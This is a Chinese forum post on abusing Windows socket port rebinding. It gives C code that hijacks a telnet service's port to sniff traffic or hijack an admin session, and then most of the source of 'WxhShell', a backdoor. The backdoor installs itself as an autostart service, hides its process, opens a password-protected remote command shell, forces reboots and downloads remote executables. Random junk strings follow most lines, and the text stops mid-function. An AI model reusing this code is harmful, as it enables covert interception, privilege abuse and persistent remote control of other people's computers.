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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `''y,{Fs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^BRqsVw9  
"*j8G8  
  saddr.sin_family = AF_INET; hY%} x5ntU  
vqQ)Pu?T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :[(%4se  
! l0"nPM=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .{ljhE:  
cF=WhP*f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cN?/YkW?]  
r-!Qw1  
  这意味着什么?意味着可以进行如下的攻击: ^2 H-_  
!9YCuHj!p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $ (xdF  
1n&%L8]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <;W-!R759  
~$C<^?"b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Gos# =H  
kSc~gJrne  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x3`JC&hF,q  
WjK[% ;Z!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \xl$z *zI  
z,E`+a;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3)#Nc|  
z80FMulO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ee7+ob  
vk X+{n  
  #include 0L8fpGJ  
  #include 3h=kn@I  
  #include 6)?u8K5%r  
  #include    Jq(;BJ90R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5Rs#{9YE  
  int main() Z'2AsT  
  { $57Q g1v  
  WORD wVersionRequested; X0^@E   
  DWORD ret; /FC HF#yK  
  WSADATA wsaData; ~CV.Ci.dG  
  BOOL val; :;+_<pk  
  SOCKADDR_IN saddr; ( >ze{T|  
  SOCKADDR_IN scaddr; F <6(Hw#>  
  int err; Zr2T^p5u  
  SOCKET s; \<`oW>  
  SOCKET sc; XR7v\rd  
  int caddsize; 0&I*)Zt9x  
  HANDLE mt; Ly^bP>2i  
  DWORD tid;   /@1YlxKF  
  wVersionRequested = MAKEWORD( 2, 2 ); [:gg3Qzx  
  err = WSAStartup( wVersionRequested, &wsaData ); {5X,xdzR  
  if ( err != 0 ) { siCm)B  
  printf("error!WSAStartup failed!\n"); W!O/t^H>  
  return -1; bQq/~  
  } +"BJjxG  
  saddr.sin_family = AF_INET; [ei~Xkzkj  
   .uS`RS8JM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uI?Z_  
uo2k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o_mjI:  
  saddr.sin_port = htons(23); Haktr2I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P;z\vq<h  
  { C"**>OGe  
  printf("error!socket failed!\n"); + jwk4BU  
  return -1; `|Di?4+6%  
  } #|Lsi`]+  
  val = TRUE; j[A(@ w"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c?_7e9}2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1 /{~t[*.  
  { h6O'"  
  printf("error!setsockopt failed!\n"); !a:e=b7g  
  return -1; 0KgP'oWvY  
  } V?G%-+^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E' `;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yn]Sc<uK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9d/- +j'  
\a|~#N3?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lGR0-Gh2  
  { EZI#CLT[  
  ret=GetLastError(); $<2d|;7r  
  printf("error!bind failed!\n"); KU(BY}/ ^  
  return -1; 2 G*uv+=  
  } k]r4b`x`  
  listen(s,2); C^4,L \E  
  while(1)  cf,6";8  
  { 7* Y*_cH5  
  caddsize = sizeof(scaddr); &Lt$~}*&6  
  //接受连接请求 #'> )?]tn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^L d5<  
  if(sc!=INVALID_SOCKET) #9[>  
  { DMch88W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^(C4Q?[2m  
  if(mt==NULL) 3'0vLi  
  { >]ux3F3\  
  printf("Thread Creat Failed!\n"); F>#F@j^c  
  break; I9+h-t  
  } 80Fa i  
  } \yw5`5g  
  CloseHandle(mt); \C>IVz<O  
  } ;K8}Yq9p9  
  closesocket(s); rm3/R<  
  WSACleanup(); J Hm Pa  
  return 0; $},XRo&R  
  }   }`QZV_  
  DWORD WINAPI ClientThread(LPVOID lpParam) :ZB.I(v  
  { `{ >/'o  
  SOCKET ss = (SOCKET)lpParam; `|AH3v1  
  SOCKET sc; tR<#CCtRp'  
  unsigned char buf[4096]; 0vSPeZ  
  SOCKADDR_IN saddr; juF=ZW%i  
  long num; 5&EBU l}  
  DWORD val; 3$YbEl@#  
  DWORD ret; 0<@['W}G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \rUKP""m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8VQ!&^9!U#  
  saddr.sin_family = AF_INET; svEe@Kt`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Os>&:{D4!  
  saddr.sin_port = htons(23); (Ytr&gh;0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Et }%)M  
  { d{NMG)`x\  
  printf("error!socket failed!\n"); S WTZ6(!oW  
  return -1; 0H4|}+e  
  } OwNM`xSa|\  
  val = 100; ySiZ@i4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y(1?uVYW\d  
  { &)tv4L&  
  ret = GetLastError(); ,GVX1B?  
  return -1; l%mp49<  
  } >S}X)4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hwe6@T.#  
  { Pb T2- F_  
  ret = GetLastError(); @o?Y[BR  
  return -1; 7.G"U  
  } SODHn9)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .,qh,m\Fo  
  { fOSk > gK  
  printf("error!socket connect failed!\n"); ]C"?xy  
  closesocket(sc); 9"S iHp\)  
  closesocket(ss); o@360#njF  
  return -1; f!YlYk5  
  } &P}t<;  
  while(1) |+HJ>xA4I  
  { 7z3tDE[#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !'# D~   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sDg1nKw(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3p HI+a  
  num = recv(ss,buf,4096,0); ?nL,Otz  
  if(num>0) L58H)V3Pn  
  send(sc,buf,num,0); 1QmOUw}yj  
  else if(num==0) d ]|K%<+(  
  break; _>`9]6\&  
  num = recv(sc,buf,4096,0); @,,G]4zZ!  
  if(num>0) xWY\,'+Q  
  send(ss,buf,num,0); ;Q vQ fV4  
  else if(num==0) q#8\BOTP |  
  break; L|#0CRiN  
  } DS%]7,g]  
  closesocket(ss); x5\Du63  
  closesocket(sc); @.k^ 8hc  
  return 0 ; M'R ] ''  
  } F~rl24F  
l{^s4  
v36Z*I6)5  
========================================================== ^4]=D nd%  
:!CnGKgt  
下边附上一个代码,,WXhSHELL PY '^:0  
8,h!&9  
========================================================== R%}<z*~NE@  
n ei0LAD  
#include "stdafx.h" /=za m3kd  
K0vS  
#include <stdio.h> Ici4y*`M  
#include <string.h> =IX-n$d`>  
#include <windows.h> $i<+O,@-  
#include <winsock2.h> Q{=r9&&  
#include <winsvc.h> D{7^y>8_Y-  
#include <urlmon.h> <a_ (qh@B  
_(:$ :*@  
#pragma comment (lib, "Ws2_32.lib") =#Jx~d[C  
#pragma comment (lib, "urlmon.lib") M/[_~  
~AaEa,LQ  
#define MAX_USER   100 // 最大客户端连接数 ?ZC!E0]  
#define BUF_SOCK   200 // sock buffer MK Sw  
#define KEY_BUFF   255 // 输入 buffer lq3D!+ m  
)AcevEHB  
#define REBOOT     0   // 重启 =6\^F i  
#define SHUTDOWN   1   // 关机 rZB='(?  
x.pg3mVd>  
#define DEF_PORT   5000 // 监听端口 J1gnR  
*(vh|  
#define REG_LEN     16   // 注册表键长度 [h B$%i]\<  
#define SVC_LEN     80   // NT服务名长度 hop| xtai;  
XGe;v~L  
// 从dll定义API -Mrt%1g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &k_LK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7KUf,0D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o>+mw|{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RRQv<x  
->IZZ5G<  
// wxhshell配置信息 i-wWbZ-  
struct WSCFG { ;C1#[U1Uy  
  int ws_port;         // 监听端口 T)q Uf H  
  char ws_passstr[REG_LEN]; // 口令 ^gyI-S(;  
  int ws_autoins;       // 安装标记, 1=yes 0=no BaP'y8dVN  
  char ws_regname[REG_LEN]; // 注册表键名 N5K2Hv<"  
  char ws_svcname[REG_LEN]; // 服务名 K3=0D!Dq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BL>~~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F3o"ETle  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0cfGI%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @U?&1.\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s%vy^x29  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qW4\t  
"D4% A!i  
}; (s|WmSQ  
x7gd6"10^  
// default Wxhshell configuration (w"(RM~  
struct WSCFG wscfg={DEF_PORT, %}~(%@qB>+  
    "xuhuanlingzhe", |9FrVO$M  
    1, ?A.ah  
    "Wxhshell", %c]N-  
    "Wxhshell", Dz2Z (EXI~  
            "WxhShell Service", G[u6X_Q  
    "Wrsky Windows CmdShell Service", tZg)VJQys  
    "Please Input Your Password: ", vy={ziJ  
  1, >hG*=4oh  
  "http://www.wrsky.com/wxhshell.exe", 87S,6Y  
  "Wxhshell.exe" up8d3  
    }; >e.KD) qA  
#M#$2Vt  
// 消息定义模块 hHDLrr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bJ6C7-w:wa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q;q{1M>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T?Z^2.Pvc  
char *msg_ws_ext="\n\rExit."; hG<[F@d  
char *msg_ws_end="\n\rQuit."; -nUK%a"(D  
char *msg_ws_boot="\n\rReboot..."; k}}'f A  
char *msg_ws_poff="\n\rShutdown..."; CsT&}-C  
char *msg_ws_down="\n\rSave to "; ]b1>bv%  
N|"kuRN#  
char *msg_ws_err="\n\rErr!"; jyyig%  
char *msg_ws_ok="\n\rOK!"; b9T6JS j  
DYIp2-K  
char ExeFile[MAX_PATH]; hz<TjWXv'  
int nUser = 0; ;P8% yf  
HANDLE handles[MAX_USER]; `YZl2c<w*  
int OsIsNt; tGXH)=K  
%2\Pe 2Z  
SERVICE_STATUS       serviceStatus; VhMVoW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; # &5.   
\3K7)o^  
// 函数声明 GA[bo)"  
int Install(void); C+`V?rp=s  
int Uninstall(void); H{9P=l  
int DownloadFile(char *sURL, SOCKET wsh); [wQJVYv  
int Boot(int flag); Z1$U[Tsd  
void HideProc(void); CZ$B2i6  
int GetOsVer(void); /yx)_x{  
int Wxhshell(SOCKET wsl); &e*@:5Z:k  
void TalkWithClient(void *cs); Hdd3n 6*  
int CmdShell(SOCKET sock); '?_~{\9<  
int StartFromService(void); ; 5[W*,7s  
int StartWxhshell(LPSTR lpCmdLine); z`Nss o=  
$II ~tO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )~nieQEZQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =^{MyR7  
{=gJGP/}_  
// 数据结构和表定义 ./'d^9{  
SERVICE_TABLE_ENTRY DispatchTable[] = eMV8`&c'  
{ @y * TVy  
{wscfg.ws_svcname, NTServiceMain}, rHOhi|+  
{NULL, NULL} `e3$jy@  
}; JwWxM3(%t  
T9kc(i'  
// 自我安装 9CN'2 9c  
int Install(void) B` +, 8  
{ 6 A#xFPYY{  
  char svExeFile[MAX_PATH]; suLC7x`Z  
  HKEY key; FQ47j)p;  
  strcpy(svExeFile,ExeFile); K:AP 0Te  
Nx*1m BC  
// 如果是win9x系统,修改注册表设为自启动 q*a~9.i @  
if(!OsIsNt) { }ksp(.}G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MujEjD "|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rb'mFqg*u  
  RegCloseKey(key); eq&QWxiD*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @}{uibLD\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .O#7X  
  RegCloseKey(key); w?N>3`Jnf  
  return 0; ,PJC FQMR  
    } )4:]gx#cr  
  } <1* \ ~CX  
} R4k+.hR  
else { [)0^*A2  
2@ZRz%(Oa&  
// 如果是NT以上系统,安装为系统服务 4Xt`L"f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /PR 4ILed  
if (schSCManager!=0) oj'YDQ^uj  
{ O?A%  
  SC_HANDLE schService = CreateService ^si[L52BZ  
  ( asmu<  
  schSCManager, anfnqa8  
  wscfg.ws_svcname, #&L7FBJ"*v  
  wscfg.ws_svcdisp, 4ZR2U3jd1  
  SERVICE_ALL_ACCESS, ,Sy& ?t}`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C6@*l~j  
  SERVICE_AUTO_START, =43NSY  
  SERVICE_ERROR_NORMAL, L8 NZU*"  
  svExeFile, FDGG$z?>m  
  NULL, n^5Q f\o  
  NULL, -F3~X R  
  NULL, 5gC> j(  
  NULL, 5e0d;Rd  
  NULL &0%B3  
  ); ORWi+H|  
  if (schService!=0) ]A#:Uc5  
  { MOp "kA  
  CloseServiceHandle(schService); W_3BL]^=  
  CloseServiceHandle(schSCManager); M_r[wYt!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )<_qTd0`  
  strcat(svExeFile,wscfg.ws_svcname); 2*Pk1 vrI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !u  .n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); # kNp);  
  RegCloseKey(key); 8?: 2<  
  return 0; +|5 O b  
    } D+~*nc~ g  
  } e5 zi"~  
  CloseServiceHandle(schSCManager); )vVf- zU  
} WQD:~*C:  
} 6uUn  
7-u'x[=m  
return 1; mieyL9*n7  
} "^wIoJ6H'  
ssoE,6kS  
// 自我卸载 oK4xRv8Hd  
int Uninstall(void) ^}wF^ _  
{ NZ6:Zz M  
  HKEY key; sdyNJh7Jr  
u$(ei2f  
if(!OsIsNt) { ({!H ()  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j?k|-0  
  RegDeleteValue(key,wscfg.ws_regname); ~3f|-%Z  
  RegCloseKey(key); gOah5*Lj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vx> Q  
  RegDeleteValue(key,wscfg.ws_regname); Ip)u6We>I  
  RegCloseKey(key); K~S*<?  
  return 0; nXI8`7D  
  } c813NHW  
} <X1 lq9 lW  
} _p'@.P  
else { h%4UeL &F  
;#0$iE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D.x8=|;  
if (schSCManager!=0) gNA!)}m\  
{ unbIfl=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p0]\QM l1  
  if (schService!=0) }:;UnE}  
  { Wv;,@xTZ  
  if(DeleteService(schService)!=0) { ?.lo[X<,*  
  CloseServiceHandle(schService); DBLM0*B  
  CloseServiceHandle(schSCManager); zpeCT3Q5O  
  return 0; d~h;|Bl[  
  } u=vBjaN2_w  
  CloseServiceHandle(schService); gG}H5uN  
  } M7 k WJ  
  CloseServiceHandle(schSCManager); a) P r&9I  
} p|dn&<kd  
} *rHz/& ,  
_9p79S<+  
return 1; d"Wuu1tEY  
} NuUiW*|`7  
Q6e7Z-8  
// 从指定url下载文件 Cg`lQY U  
int DownloadFile(char *sURL, SOCKET wsh) 7l~^KsX  
{ u^CL }t*  
  HRESULT hr; - _6`0  
char seps[]= "/"; .9,x_\|G*  
char *token; tm2lxt  
char *file; V`W']  
char myURL[MAX_PATH]; o)7Ot\:E  
char myFILE[MAX_PATH]; `YE= B{q  
U,61 3G  
strcpy(myURL,sURL); nKnrh]hX  
  token=strtok(myURL,seps); eMmNQRmH  
  while(token!=NULL) .cw)Y#;IG  
  { hN]l $Ct  
    file=token; 5;^1Ab0  
  token=strtok(NULL,seps); S?C.:  
  } iF837ng5  
op9vz[o#4  
GetCurrentDirectory(MAX_PATH,myFILE); OJJ [Er1  
strcat(myFILE, "\\"); H{S+^'5Y.  
strcat(myFILE, file); kS9;Tjcx  
  send(wsh,myFILE,strlen(myFILE),0); Fu5Y<*x  
send(wsh,"...",3,0); T]zD+/=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mU?~s7  
  if(hr==S_OK) /`DKX }  
return 0; 37Q8Yf_  
else llWY7u"  
return 1; 1EC;t1.7  
HuU$x;~  
} z\" .(fIV  
BnGoB`n  
// 系统电源模块 CmBgay  
int Boot(int flag) >P\eHR,{-  
{ c_M[>#`  
  HANDLE hToken; | B*B>P#  
  TOKEN_PRIVILEGES tkp; Bmcc SC;o4  
: xggo  
  if(OsIsNt) { x|dP-E41\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qBh@^GxY),  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oSkQ/5hg.  
    tkp.PrivilegeCount = 1; -1v9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r Dlu&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Nq8 3 6HL  
if(flag==REBOOT) { XBkaum4j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [6JDS;MIN  
  return 0; 7 @}`1>97  
} L%Rw]=v}v  
else { eB1NM<V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D M+MBK  
  return 0; I2*(v%.-  
} {f)aFGp  
  } 5dN>Xjpu  
  else { dg|x(p#  
if(flag==REBOOT) { SOM? 0.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C/qKa[mg  
  return 0; @fp@1n  
} k3@d = k  
else { a=A12<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jl(D;JnF  
  return 0; E QU@';~8  
} fDplYn#  
} *ls6k`ymL  
x>TIx[ x  
return 1; }5(_gYr  
} Cb?  !+U  
h9<PP2.(  
// win9x进程隐藏模块 X1a~l|$h  
void HideProc(void) CrL9|78  
{ ]BbV\#  
`Ds=a`^b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mI4GBp  
  if ( hKernel != NULL ) &dmIv[LU  
  { 9< 07# 8c.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z _\L@b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R+(f~ j'  
    FreeLibrary(hKernel); 3ej237~F,L  
  } ]GY8f3~|{  
8Nyz{T[  
return; ;nW;M 4{  
} R3lZ|rxv:  
JQ0Z%;"  
// 获取操作系统版本 LTo!DUi`  
int GetOsVer(void) stUv!   
{ hLgX0QV  
  OSVERSIONINFO winfo; m?B=?;B9#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `^hA&/1  
  GetVersionEx(&winfo); :.XlAQR~b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ~,&8)1  
  return 1; o4EY2  
  else ]w;t0Bk  
  return 0; 5 0-7L,  
} tugIOA  
-bOtF%  
// 客户端句柄模块 Cy6!?Mik  
int Wxhshell(SOCKET wsl) w`f66*@Q1  
{ mHju$d  
  SOCKET wsh; Is3Y>oX  
  struct sockaddr_in client; I5l%X{u"N  
  DWORD myID; JkT!X  
 ov,  
  while(nUser<MAX_USER) V'W*'wo   
{ ro<w8V9.a  
  int nSize=sizeof(client); .`+~mQ Wn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sq_.RU  
  if(wsh==INVALID_SOCKET) return 1; TsoxS/MI"  
{Hl(t$3V`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U= f9b]Y  
if(handles[nUser]==0) h~Z &L2V  
  closesocket(wsh); @Q2E1Uu%  
else 1) 2-UT  
  nUser++; V )oXJL  
  } ^$O(oE(D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); __$;Z  
|mn} wNUN]  
  return 0; ri59LYy=  
} ">t^jt{  
l9eTghLi  
// 关闭 socket .U|'KCM9m  
void CloseIt(SOCKET wsh) !w%c= V]tV  
{ ';Nc;9  
closesocket(wsh); H@wjZ;R  
nUser--; yy8BkG(  
ExitThread(0); K\xM%O?  
} XBCHJj]k  
T$2A2gb `  
// 客户端请求句柄 y< dBF[  
void TalkWithClient(void *cs) x  zF  
{ tg#jjXV\0p  
1z&"V}y  
  SOCKET wsh=(SOCKET)cs; NR_3nt^h  
  char pwd[SVC_LEN]; GiuE\J9i  
  char cmd[KEY_BUFF]; (EWGX |QA  
char chr[1]; E`^ D9:3:)  
int i,j; 4 5.g;  
ZZ^A&%E(a  
  while (nUser < MAX_USER) { `^8mGR>OpI  
a1I-d=]  
if(wscfg.ws_passstr) { Ar/P%$Zfq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LsIZeL^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }DjVZ48  
  //ZeroMemory(pwd,KEY_BUFF); !\%JOf}  
      i=0; G5t7KI  
  while(i<SVC_LEN) { %_Lz0L64k  
dS 4/spNq  
  // 设置超时 _(' @'r  
  fd_set FdRead; .@nfqv7{  
  struct timeval TimeOut; zFO0l).  
  FD_ZERO(&FdRead); MDIPoS3BRa  
  FD_SET(wsh,&FdRead); Z9 ws{8@_  
  TimeOut.tv_sec=8; w)vpo/?  
  TimeOut.tv_usec=0; v mkiw1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )#\3c,<Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z.@n7G  
LXby(|< j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L9Zz-Dr s  
  pwd=chr[0]; =GP L>a&  
  if(chr[0]==0xd || chr[0]==0xa) { wAi7jCY%OY  
  pwd=0; (&Q!5{$W  
  break; y,&[OrCm^\  
  } .{8[o[w =  
  i++; iCiKr aW  
    } ]JGq{I>%+6  
jsgDJ}  
  // 如果是非法用户,关闭 socket R#~l[S8u^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aDX&j2/  
} cyWb*Wv  
~x'8T!M{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hc\@{17   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =2GKv7q$x,  
[Fag\/Y+  
while(1) {  8(K:2  
,R-k]^O  
  ZeroMemory(cmd,KEY_BUFF); wV f 7<@/y  
mk~CE  
      // 自动支持客户端 telnet标准   MhE".ZRd  
  j=0; 7oIHp_Zq  
  while(j<KEY_BUFF) { F^Jz   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k^K76mB  
  cmd[j]=chr[0]; {*hFG:u  
  if(chr[0]==0xa || chr[0]==0xd) { 7)#JrpTj%  
  cmd[j]=0; @YaI5>,/  
  break; pd:YR;  
  } lj&\F|-i  
  j++; vYXhWqL~  
    } t d\gk  
8lqmd1v  
  // 下载文件 W!XBuk-  
  if(strstr(cmd,"http://")) { QwFA0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ip'{@1L  
  if(DownloadFile(cmd,wsh)) Kg<~Uf=1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R7z @y o  
  else .c<U5/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X.#9[3U+  
  } _/P;`@  
  else { F)eP55C6  
V[WZ#u-p  
    switch(cmd[0]) { Vtj*O'0  
  CHqi5Z/+  
  // 帮助 ak:f4dEd  
  case '?': { b9?Vpu`?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5GJkvZtFY  
    break; E3S0u7 Es  
  } 0)K~pV0aT  
  // 安装 n?OMfx  
  case 'i': { *HV_$^)=  
    if(Install()) TK'y-5W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %K\B )HR  
    else dly -mPmP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G2!<C-T{2  
    break; jc:=Pe!E  
    } y[jp)&N`  
  // 卸载 0VJHE~Bgi  
  case 'r': { >{Mv+  
    if(Uninstall()) xgNV0;g,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #H Jlm1d  
    else Z&H_+u3j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }8"i~>>a  
    break; %UooZO  
    } # 7d vT=  
  // 显示 wxhshell 所在路径 ;IPk+,hpmi  
  case 'p': { ]QHZ [C  
    char svExeFile[MAX_PATH]; CcV@YST?  
    strcpy(svExeFile,"\n\r"); @m`H~]AU  
      strcat(svExeFile,ExeFile); V{>;Z vj1R  
        send(wsh,svExeFile,strlen(svExeFile),0); wS7Vo{#@\  
    break; +Gy9K  
    } FR'Nzi$  
  // 重启 L5d YTLY  
  case 'b': { QjpJIw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "BpDlTYM  
    if(Boot(REBOOT)) "#8^":,4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?AxB0d9z  
    else { 9'|k@i:  
    closesocket(wsh); *&_A4)  
    ExitThread(0); l&W:t9o  
    } ,:-^O#  
    break; dW5r]D[Cx  
    } u0?TMy.%  
  // 关机 Jz&dC  
  case 'd': { 0%\fm W j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }4c$_  
